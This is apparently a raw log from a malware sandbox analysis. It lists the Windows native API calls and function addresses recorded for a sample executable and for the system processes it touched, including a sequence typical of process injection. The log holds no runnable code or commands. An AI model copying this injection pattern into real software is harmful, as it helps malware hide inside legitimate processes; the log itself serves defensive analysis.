Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2C30 NtMapViewOfSection,	2_2_014E2C30
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E3C30 NtOpenProcessToken,	2_2_014E3C30
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2CD0 NtEnumerateKey,	2_2_014E2CD0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2CF0 NtDelayExecution,	2_2_014E2CF0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E3C90 NtOpenThread,	2_2_014E3C90
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2F00 NtCreateFile,	2_2_014E2F00
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2F30 NtOpenDirectoryObject,	2_2_014E2F30
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2FB0 NtSetValueKey,	2_2_014E2FB0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2E50 NtCreateSection,	2_2_014E2E50
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2E00 NtQueueApcThread,	2_2_014E2E00
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2EC0 NtQuerySection,	2_2_014E2EC0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2ED0 NtResumeThread,	2_2_014E2ED0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2E80 NtCreateProcessEx,	2_2_014E2E80
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DBC6E4 SleepEx,NtCreateSection,	3_2_03DBC6E4
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DBC8E8 SleepEx,NtResumeThread,	3_2_03DBC8E8
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782B10 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_03782B10
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782B00 NtQueryValueKey,LdrInitializeThunk,	4_2_03782B00
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782BC0 NtQueryInformationToken,LdrInitializeThunk,	4_2_03782BC0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782B90 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_03782B90
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782B80 NtCreateKey,LdrInitializeThunk,	4_2_03782B80
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782A10 NtWriteFile,LdrInitializeThunk,	4_2_03782A10
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782AC0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_03782AC0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782A80 NtClose,LdrInitializeThunk,	4_2_03782A80
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037829F0 NtReadFile,LdrInitializeThunk,	4_2_037829F0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782F00 NtCreateFile,LdrInitializeThunk,	4_2_03782F00
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782E50 NtCreateSection,LdrInitializeThunk,	4_2_03782E50
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782D10 NtQuerySystemInformation,LdrInitializeThunk,	4_2_03782D10
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782C30 NtMapViewOfSection,LdrInitializeThunk,	4_2_03782C30
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782CF0 NtDelayExecution,LdrInitializeThunk,	4_2_03782CF0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037834E0 NtCreateMutant,LdrInitializeThunk,	4_2_037834E0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03784260 NtSetContextThread,	4_2_03784260
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03784570 NtSuspendThread,	4_2_03784570
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782B20 NtQueryInformationProcess,	4_2_03782B20
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782BE0 NtQueryVirtualMemory,	4_2_03782BE0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782AA0 NtQueryInformationFile,	4_2_03782AA0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037829D0 NtWaitForSingleObject,	4_2_037829D0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782F30 NtOpenDirectoryObject,	4_2_03782F30
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782FB0 NtSetValueKey,	4_2_03782FB0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782E00 NtQueueApcThread,	4_2_03782E00
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782ED0 NtResumeThread,	4_2_03782ED0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782EC0 NtQuerySection,	4_2_03782EC0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782EB0 NtProtectVirtualMemory,	4_2_03782EB0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782E80 NtCreateProcessEx,	4_2_03782E80
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782D50 NtWriteVirtualMemory,	4_2_03782D50
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782DC0 NtAdjustPrivilegesToken,	4_2_03782DC0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782DA0 NtReadVirtualMemory,	4_2_03782DA0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782C50 NtUnmapViewOfSection,	4_2_03782C50
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782C20 NtSetInformationFile,	4_2_03782C20
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782C10 NtOpenProcess,	4_2_03782C10
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03782CD0 NtEnumerateKey,	4_2_03782CD0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037838D0 NtGetContextThread,	4_2_037838D0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03783C30 NtOpenProcessToken,	4_2_03783C30
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03783C90 NtOpenThread,	4_2_03783C90
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CEDDD NtQueryInformationProcess,NtReadVirtualMemory,	4_2_035CEDDD
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035D3318 NtSetContextThread,	4_2_035D3318
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035D432D NtMapViewOfSection,	4_2_035D432D
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035D3628 NtSuspendThread,	4_2_035D3628
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035D46F8 NtUnmapViewOfSection,	4_2_035D46F8
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035D3938 NtResumeThread,	4_2_035D3938
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CEDE8 NtQueryInformationProcess,	4_2_035CEDE8
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035D3C48 NtQueueApcThread,	4_2_035D3C48

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_0193DFE4	0_2_0193DFE4
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_07959F40	0_2_07959F40
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_07956630	0_2_07956630
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_07954548	0_2_07954548
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_07953CD8	0_2_07953CD8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_07953CC8	0_2_07953CC8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_07954110	0_2_07954110
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_07955950	0_2_07955950
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00418683	2_2_00418683
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_004028C0	2_2_004028C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00416893	2_2_00416893
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_004101C3	2_2_004101C3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040E1D3	2_2_0040E1D3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_004031E0	2_2_004031E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040E321	2_2_0040E321
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040E323	2_2_0040E323
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_004013D0	2_2_004013D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00402CA0	2_2_00402CA0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0042ED13	2_2_0042ED13
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_004025B0	2_2_004025B0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040FF9A	2_2_0040FF9A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040FFA3	2_2_0040FFA3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014F717A	2_2_014F717A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0157010E	2_2_0157010E
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154D130	2_2_0154D130
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B51C0	2_2_014B51C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155E076	2_2_0155E076
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BB0D0	2_2_014BB0D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015670F1	2_2_015670F1
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E508C	2_2_014E508C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A00A0	2_2_014A00A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BE310	2_2_014BE310
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156F330	2_2_0156F330
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1380	2_2_014A1380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156124C	2_2_0156124C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149D2EC	2_2_0149D2EC
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0157A526	2_2_0157A526
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015675C6	2_2_015675C6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156F5C9	2_2_0156F5C9
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B0445	2_2_014B0445
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0151D480	2_2_0151D480
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01566757	2_2_01566757
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B2760	2_2_014B2760
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BA760	2_2_014BA760
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155D646	2_2_0155D646
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D4670	2_2_014D4670
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CC600	2_2_014CC600
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154D62C	2_2_0154D62C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156A6C0	2_2_0156A6C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156F6F6	2_2_0156F6F6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AC6E0	2_2_014AC6E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015236EC	2_2_015236EC
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B0680	2_2_014B0680
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014F59C0	2_2_014F59C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AE9A0	2_2_014AE9A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156E9A6	2_2_0156E9A6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01496868	2_2_01496868
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01525870	2_2_01525870
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156F872	2_2_0156F872
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B9870	2_2_014B9870
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB870	2_2_014CB870
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B3800	2_2_014B3800
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE810	2_2_014DE810
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01550835	2_2_01550835
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B28C0	2_2_014B28C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015618DA	2_2_015618DA
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015678F3	2_2_015678F3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C6882	2_2_014C6882
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015298B2	2_2_015298B2
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014EDB19	2_2_014EDB19
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B0B10	2_2_014B0B10
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156FB2E	2_2_0156FB2E
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01524BC0	2_2_01524BC0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156EA5B	2_2_0156EA5B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156CA13	2_2_0156CA13
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156FA89	2_2_0156FA89
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CFAA0	2_2_014CFAA0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01567D4C	2_2_01567D4C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B0D69	2_2_014B0D69
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AAD00	2_2_014AAD00
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156FD27	2_2_0156FD27
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B9DD0	2_2_014B9DD0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154FDF4	2_2_0154FDF4
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C2DB0	2_2_014C2DB0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155EC4C	2_2_0155EC4C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B3C60	2_2_014B3C60
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156EC60	2_2_0156EC60
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01566C69	2_2_01566C69
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A0C12	2_2_014A0C12
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BAC20	2_2_014BAC20
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152EC20	2_2_0152EC20
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C8CDF	2_2_014C8CDF
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CFCE0	2_2_014CFCE0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01537CE8	2_2_01537CE8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0157ACEB	2_2_0157ACEB
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01549C98	2_2_01549C98
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152FF40	2_2_0152FF40
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156FF63	2_2_0156FF63
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BCF00	2_2_014BCF00
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01561FC6	2_2_01561FC6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B6FE0	2_2_014B6FE0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0156EFBF	2_2_0156EFBF
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014F2E48	2_2_014F2E48
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D0E50	2_2_014D0E50
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01550E6D	2_2_01550E6D
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01569ED2	2_2_01569ED2
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A2EE8	2_2_014A2EE8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B1EB2	2_2_014B1EB2
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01560EAD	2_2_01560EAD
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03515223	3_2_03515223
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03514688	3_2_03514688
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03513948	3_2_03513948
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03515105	3_2_03515105
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_035155BC	3_2_035155BC
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC6BB3	3_2_03DC6BB3
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC6F4C	3_2_03DC6F4C
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC52D8	3_2_03DC52D8
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC6A95	3_2_03DC6A95
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC6018	3_2_03DC6018
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0375E310	4_2_0375E310
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03712245	4_2_03712245
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0381010E	4_2_0381010E
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037FE076	4_2_037FE076
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037400A0	4_2_037400A0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03752760	4_2_03752760
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0375A760	4_2_0375A760
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03806757	4_2_03806757
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03774670	4_2_03774670
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380A6C0	4_2_0380A6C0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0376C600	4_2_0376C600
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0374C6E0	4_2_0374C6E0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03750680	4_2_03750680
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0381A526	4_2_0381A526
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03750445	4_2_03750445
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03750B10	4_2_03750B10
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037C4BC0	4_2_037C4BC0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380CA13	4_2_0380CA13
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380EA5B	4_2_0380EA5B
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380E9A6	4_2_0380E9A6
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0374E9A0	4_2_0374E9A0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03736868	4_2_03736868
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037F0835	4_2_037F0835
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0377E810	4_2_0377E810
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037528C0	4_2_037528C0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03766882	4_2_03766882
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380EFBF	4_2_0380EFBF
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0375CF00	4_2_0375CF00
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03756FE0	4_2_03756FE0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037F0E6D	4_2_037F0E6D
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03770E50	4_2_03770E50
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03800EAD	4_2_03800EAD
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03792E48	4_2_03792E48
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03742EE8	4_2_03742EE8
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03750D69	4_2_03750D69
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0374AD00	4_2_0374AD00
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03762DB0	4_2_03762DB0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037FEC4C	4_2_037FEC4C
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0375AC20	4_2_0375AC20
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037CEC20	4_2_037CEC20
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03740C12	4_2_03740C12
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0381ACEB	4_2_0381ACEB
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03768CDF	4_2_03768CDF
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380EC60	4_2_0380EC60
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03806C69	4_2_03806C69
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380F330	4_2_0380F330
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03741380	4_2_03741380
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0373D2EC	4_2_0373D2EC
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380124C	4_2_0380124C
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0379717A	4_2_0379717A
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037ED130	4_2_037ED130
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0373F113	4_2_0373F113
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0376B1E0	4_2_0376B1E0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037551C0	4_2_037551C0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_038070F1	4_2_038070F1
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0375B0D0	4_2_0375B0D0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0378508C	4_2_0378508C
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03711707	4_2_03711707
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037FD646	4_2_037FD646
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037ED62C	4_2_037ED62C
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380F6F6	4_2_0380F6F6
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037C36EC	4_2_037C36EC
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_038075C6	4_2_038075C6
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380F5C9	4_2_0380F5C9
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037BD480	4_2_037BD480
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0378DB19	4_2_0378DB19
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380FB2E	4_2_0380FB2E
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380FA89	4_2_0380FA89
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0376FAA0	4_2_0376FAA0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037199E8	4_2_037199E8
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037959C0	4_2_037959C0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03759870	4_2_03759870
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0376B870	4_2_0376B870
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037C5870	4_2_037C5870
